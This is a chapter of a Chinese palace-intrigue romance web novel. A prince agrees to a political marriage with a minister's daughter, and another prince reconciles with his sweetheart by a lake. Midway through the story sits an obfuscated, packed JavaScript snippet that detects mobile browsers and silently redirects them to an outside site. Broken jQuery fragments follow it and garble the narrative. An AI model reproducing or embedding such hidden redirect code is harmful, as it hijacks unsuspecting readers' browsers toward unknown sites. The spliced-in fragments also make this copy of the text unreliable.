悟南柯文无汀

88.求和

易府华灯初上,照映得庭院熠熠流金,但书房内却只点了几盏孤烛,昏黄光线投下幢幢暗影。角落里的狻猊香炉吐着几缕檀香,袅袅青烟,反添几分沉郁。


房内东侧,一扇巨大的紫檀木嵌云母屏风静静伫立,屏风上缀着几朵缠枝牡丹,昏暗中反显得格外秾丽诡谲。屏风几步之外,紫檀木书案后,端坐着刚刚恢复工部尚书一职的易望林,烛光在他脸上跳跃,却照得眼神深如古井。下首客位,则是来访的宣王宇文伯喻。


“易大人,深夜来访,打扰了。”伯喻缓缓拱手,衣衫摩擦发出沙沙声响。


易望林颔首道:“殿下乃天皇贵胄,怎有空半夜跑来看我这个老头子?”


伯喻道:“深夜惊扰,实因滁州一案牵动朝野,局势微妙。二哥奉旨督办,他行事向来雷厉风行。如今工部承受重压,各方难免风声鹤唳。伯喻忧心,长此以往,恐非社稷之福。”


易望林的语气冷淡依旧:“殿下忧国忧民,令人感佩。只是户部与我工部职责分明,他羲王查他的案子,我工部办我的差事,您是执掌户部的监国皇子,今日特意来找老夫,倒让老夫有些犯糊涂了。”


这时,屏风后,一道藕荷色身影悄然无声地落座在绣墩上,易云舒屏息凝神,几乎与阴影融为一体。


透过云母片朦胧的透光,外间两人的轮廓和动作隐约可见。


伯喻微微叹息,面露愧色,坦然而不卑亢:“大人言重了。从前伯喻年少识浅,处事不周,与大人生出嫌隙,伤了多年情谊,此乃伯喻之过。”


易望林抬手虚按,笑意不达眼底:“过去的事,不提也罢。”


伯喻语气恳切,目光清澈: “晚辈近日反复思量,愈发觉得事态复杂。二哥职责所在,追查到底,其心可鉴。但他手中线索,若指向有误,或被有心之人利用,恐怕会引发朝堂动荡,令亲者痛,仇者快。易先生辅佐伯喻多年,更是父皇的肱骨之臣,而伯喻身负监国户部之责,更知如今国库艰难,边疆战事未息。值此多事之秋,若我二人因误会失和,彼此消耗,岂非正中某些欲乱朝纲者下怀?伯喻此来,是真心希望能和先生摒弃前嫌,共同稳定局面,以利朝廷,以安百姓。”


易望林神色稍缓,但警惕未消,手指轻敲桌面:“殿下心系社稷,老夫欣慰。只是有一件事,不光是老夫心头一块重石,更是大夏朝堂的一道隐疾。”


伯喻道:“还请先生直言。”


易望林道:“殿下与柔然王子阿揽延过从甚密,自从刘生通敌案以来,朝野非议不断。实在不是老夫多疑,只是血浓于水,不可抹去。老夫想知道,殿下今日之言,若非为权宜之计,那么他日,再因血脉之情,兴起波澜,老夫与易家,岂不是首当其冲?”


屏风后的易云舒骤然蹙眉,呼吸一窒,她知道,这是父亲最深的忌惮,也是伯喻最难自辩之处。她目光落到伯喻身上,眼中涌上担忧。


伯喻反而神色坦然,毫无闪避:“先生所虑,伯喻深知。阿揽延王子,确系母族故旧,昔日与他种种往来,多为军国朝政、边境安宁。我曾借其耳目,也是为洞察柔然动向,报效朝廷。”


见他承认得坦荡,易望林的眼神放松了一些。


伯喻继续道:“此等关联,着实容易引人猜忌,也是我的无奈。” 他语气转为郑重,斩钉截铁道,“正因如此,为安朝野之心,更为表明今日来访的诚意,我已断绝与影刃阁之往来。我宇文伯喻生于大夏,长于大夏,若因血脉之故,使朝堂失和,边境不安,实在是万死难辞其咎!”


易望林深深地审视着伯喻,半晌,他才缓缓开口道:“殿下的决心,老夫听到了。只是,空口承诺,终觉飘渺。如今羲王步步紧逼,老夫需要一个万全之策,确保你我联盟坚如磐石,再无猜疑之嫌。”


伯喻道:“大人请明示。伯喻洗耳恭听,定当以诚相待。”


易望林身体微微前倾,盯着面前的伯喻,终于亮出了他的底牌: “殿下需迎娶小女云舒,立为正妃!舒儿与殿下情意深厚,此乃天作之合,亦是稳固联盟之基石。殿下,意下如何?”


伯喻的身体瞬间僵直,脸上血色微褪,他下意识地望向屏风方向。而在屏风后,易云舒的手骤然收紧,攥着衣袖,盯着外间伯喻模糊的侧影。


沉默笼罩书房,空气几乎凝固。


伯喻喉结滚动,声音带着一丝干涩: “云舒……她……金枝玉叶,兰心蕙质。”


易望林不容他喘息,立刻截断话头:“正是!云舒乃老夫掌上明珠,亦和殿下青梅竹马,此等良缘,天下难觅!”他见伯喻犹豫,又质问道,“难道殿下方才所言‘以诚相待’,竟连一桩门当户对的婚事都容不下?”


伯喻深吸一口气,郑重地看向易望林,对其深深一揖,一字一句清晰地说道: “能娶云舒为妻,是伯喻之幸。云舒知书达理,温婉贤淑,伯喻……敬之,重之。” 话音落下的瞬间,香炉中一支檀香柱悄然塌落,灰烬洒在了冰冷的地上。


“伯喻,愿奉先生之命。择吉日,以正妃之礼,迎娶云舒。”


“好!好!”易望林脸上绽开了真正的笑容,起身走到伯喻跟前,双手将他扶起,“如此,我们翁婿便是一家人了。至于滁州一案,殿下放心,老夫自有分寸。”


已过戌时,月亮格外莹润,却难掩冷漠,于无声中窥照着这个难言的夜晚。


伯喻大步踏出书房,步履沉重,刚走出不远,身后传来急促而轻盈的脚步声。


“伯喻!”易云舒提着裙裾追了上来,堪堪拦在他身前,脸上还带着强抑的喜悦和期盼,“为何要答应爹爹?”


伯喻唇角微微扯起:“我方才在房内已经言明。”


云舒脸上的光彩瞬间暗淡下去,片刻后重又抬眸,强打起欢欣,“那你能否告诉我,这次来,是为情,为利,还是为……滁州案的证据?”


伯喻望着脸前这张熟悉的脸,眼中掠过复杂的痛色,最后还是轻叹道:“为情是真,为势所迫亦是真。”


易云舒眸中最后一点光亮瞬间熄灭,漾起一个清冷如霜的微笑:“我明白了。”


伯喻不再停留,转身欲行。


“我不会拦你。”


他脚步一顿。


云舒的声音穿透夜色,再无半分犹疑:“但我也绝不会坐视不理。”


夜风拂过,带来一丝凉意。


伯喻静立了一瞬,淡笑道:“多谢。”


武华殿内,灯火通明。


“您里面请,殿下在里头呢。”小顺子躬身引着个灰布短衫、匠人打扮的男子进了书房门。


匠人甫一进门,便恭敬垂首,小心询问道:“殿下,样式都已按您之前的吩咐改好,不知……您还有什么特别要交代的?”


宇文泰并未立刻抬头,目光在手中的卷宗上停留了一瞬,才开口道:“颜色,定要青黛。”


“是!青黛色,小人记下了,定用最好的石青来回晕染。”匠人略作迟疑,又试探问道,“您这如此上心,连颜色都亲自斟酌定夺,是为了哪位贵人呐?小人斗胆多嘴,也是想把差事办得更妥帖,让殿下安心。”


宇文泰闻言,终于从卷宗上抬眼,他倒也不怒,只微笑道:“为了谁?未来的羲王妃。”


匠人顿时心领神会,堆着笑道:“殿下如此费心,心上人想必也是位倾国倾城的美人。”


“美?”宇文泰眉梢微挑,眼底漾开真正的温柔,“区区一个‘美’字,哪能道出她的万一?”


话音未落,一名侍卫疾步入内:“殿下,宣王殿下已经去了易府。”


宇文泰的笑意倏然转冷:“不错,动作倒挺快。”


侍卫接着问道:“……易府那边?”


“跟着易云舒。她若昨日尚未得手,必不甘心。正好,让她为我们引路。”


“遵命!”侍卫领命,迅速退下,那匠人也跟着退了下去。


殿内又只剩宇文泰一人,但这回,他并未如往常一般,直截在书桌前坐下。他无意识地踱了几步,目光在空旷的大殿里逡巡,眉心微蹙,带着些许焦躁。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897819|165772||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


小顺子觑着他的脸色,试探问道:“殿下,您……在找杨姑娘?”


宇文泰身形一顿,脸上难得地愣了一瞬:“如今……什么时辰了?”


小顺子答道:“戌时三刻了。”


“哦,时辰……也不早了。”宇文泰喃喃应道,语气有些飘忽。


小顺子立刻会意,替他道:“方才杜衡来报,说杨姑娘……还未回观云阁呢。”


“还未回来?”宇文泰脸色一变,说完便大步流星朝殿门外踏去。


宇文泰一路疾步前行,径直到了御花园。果然,承影湖边坐着个纤细的身影。


他急促的脚步瞬间放缓,慢慢走近杨柯,声音也不自觉地柔和了下来:“怎么……一个人在这儿?”


杨柯闻声微微侧头,声音闷闷地传来:“不在这儿,在哪儿?”


宇文泰在她身旁坐下,将她环入怀中,他低头,气息拂过她的鬓角,声音低沉:“为何不去找我?”


“就算找你,你也不在呀。”杨柯赌气地低头,手指无意识地抠着身边的小石子,“况且,连约定好的事,你也不来。”


宇文泰的心也像被那委屈的小石子硌了一下,不由分说地握起她的手,指腹在她手背上轻轻摩挲:“昨日……是我失约,抱歉,阿柯。”


“哼,”杨柯鼻尖轻哼一声,作势要抽回手,却被他握得更紧,她别开脸,“你以为……一句道歉我就原谅你了?”


“那……”宇文泰难得语塞,他下意识地抬手,欲拂去她脸颊旁一缕被风吹乱的发丝,杨柯也并未避开,反而微微侧首,迎合他的动作,只是依旧低着头,指尖用力碾着那颗无辜的小石子,“殿下日理万机,失约就失约了呗,反正……反正这也不会是最后一次。”最后一句,她说得极轻,却像根小针,扎进宇文泰的心底。


“阿柯,以后都不会了。”他收紧环抱她的手臂,语气恳切认真,“昨日,是麟儿那边出了些变故。”


“小骞子怎么了?”杨柯立刻抬起头,眼中虽仍有嗔怪,却更多是焦急和担心,“是不是跟那个铁匣子有关?他去邓府找邓老头的东西了?”说完,又猛然惊觉自己轻易便被他带偏了话题,立刻抿紧了唇,重新板起脸来。


看着她这副明明关心又强装冷漠的模样,宇文泰扬唇一笑,顺势握紧了她想要再次挣脱的手:“这些事,说来徒惹你烦扰。”他避重就轻,柔声道,“总之,是我不好,让你白等一场。”


杨柯抬眼飞快地瞥了他一眼,脸上再也绷不住了。


宇文泰早已察觉,手臂微微用力,将她拉得更近,下巴亲昵地蹭她发顶:“你看,我这不是一得空就立刻来找你了?连晚膳都没顾上用。”


“晚膳”两个字让杨柯心尖一软,她自然知道他是有事缠身,也明白此刻他能出现在湖边,恐怕已是百忙中硬挤出的空隙。但她嘴上仍是不肯轻易服软:“谁要你找?”声音却软糯了很多,带着几分娇气。


宇文泰捕捉到她态度的松动,低头在她耳边轻语,带着只属于她的亲昵和笃定:“爱妻不见踪影,为夫岂有不寻的道理?”


杨柯耳尖迅速蹿红,羞恼地去推搡他胸口:“谁、谁是你爱妻!”


宇文泰低笑一声,大手将她作乱的小手稳稳握住,凝视着她清澈的眼眸,郑重道:“往后,我答应陪你的事,一件都不会少。下次若再有事绊住,我定会第一时间遣人告知你,绝不让你像昨日一般傻等。”


听他这样承诺,杨柯心中那点残存的怨气瞬间烟消云散,手指也不再挣扎,反而无意识地勾缠住他腰间的玉佩穗子,“真的?可你那么忙……”


“再忙,陪你也是头等大事。”宇文泰语气斩钉截铁,他不再多言,只将她深深揽入怀中。


杨柯依偎在他胸膛之上,伸出手环住他的腰,将脸埋得更深,闷闷的声音透出来:“下次再失约,我就真的不理你了。”


宇文泰低笑出声,他收紧手臂,下颌眷恋地抵着她的发顶,全然体会着怀中的温软和依赖:“好,一言为定。”